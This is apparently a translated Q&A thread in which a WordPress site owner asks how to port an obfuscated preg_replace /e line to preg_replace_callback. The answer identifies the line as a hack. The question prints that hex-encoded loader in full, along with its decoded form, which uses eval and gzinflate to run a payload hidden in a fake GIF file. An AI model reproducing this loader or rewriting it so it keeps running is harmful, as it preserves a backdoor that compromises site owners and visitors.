首页 > 解决方案 > Wordpress 将 preg_replace 更新为 preg_replace_callback

问题描述

我正在更新我网站的 PHP,当我尝试将其更新到最新的 PHP 版本时,我收到以下消息:

警告:preg_replace():不再支持 /e 修饰符,请在第 291 行的 /home/customer/www/---.org/public_html/wp-includes/init.php 中使用 preg_replace_callback

这是我要更改的行:

preg_replace("/.*/e","\x65\x76\x61\x6c\x28\x27\x24\x70\x61\x67\x65\x78\x79\x7a\x20\x3d\x20\x40\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x22\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x69\x6d\x61\x67\x65\x73\x2f\x73\x6d\x69\x6c\x69\x65\x73\x2f\x69\x63\x6f\x6e\x5f\x77\x74\x66\x2e\x67\x69\x66\x22\x29\x3b\x65\x76\x61\x6c\x28\x40\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x24\x70\x61\x67\x65\x78\x79\x7a\x29\x29\x3b\x27\x29\x3b","");

我需要将其更改为 preg_replace_callback 但我对这部分感到困惑:

\x65\x76\x61\x6c\x28\x27\x24\x70\x61\x67\x65\x78\x79\x7a\x20\x3d\x20\x40\x66\x69\x6c\x65\x5f\x67\x65 \x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x22\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x69 \x6d\x61\x67\x65\x73\x2f\x73\x6d\x69\x6c\x69\x65\x73\x2f\x69\x63\x6f\x6e\x5f\x77\x74\x66\x2e\x67\x69 \x66\x22\x29\x3b\x65\x76\x61\x6c\x28\x40\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x24\x70\x61\x67\x65 \x78\x79\x7a\x29\x29\x3b\x27\x29\x3b

我如何翻译那部分?

当我使用在线解码器时,它看起来像这样:

eval('$pagexyz = @file_get_contents("wp-includes/images/smilies/icon_wtf.gif");eval(@gzinflate($pagexyz));');

标签: phpwordpresspreg-replacepreg-replace-callback

解决方案


我没有对此进行深入研究,但是,您应该有一个 wp-includes/init.php 文件吗?

官方仓库显示最新版本没有此类文件

一个快速的谷歌表明这是黑客攻击的结果,搜索“wp-includes/init.php”

还要检查我看到的代码“ wp-includes/images/smilies/icon_wtf.gif”为什么 f*** .gif 会在核心中?而且这里的编码函数闻起来很腥。

发布有关潜在黑客攻击的帖子 https://blog.tonyballantyne.com/2017/01/25/wordpress-pharma-hack/

您不需要编辑 wp-includes/ 中的任何内容作为其核心文件夹。安装核心完整性检查插件并可能更新到最新版本是有意义的,你不能保证数据库没有被篡改。


推荐阅读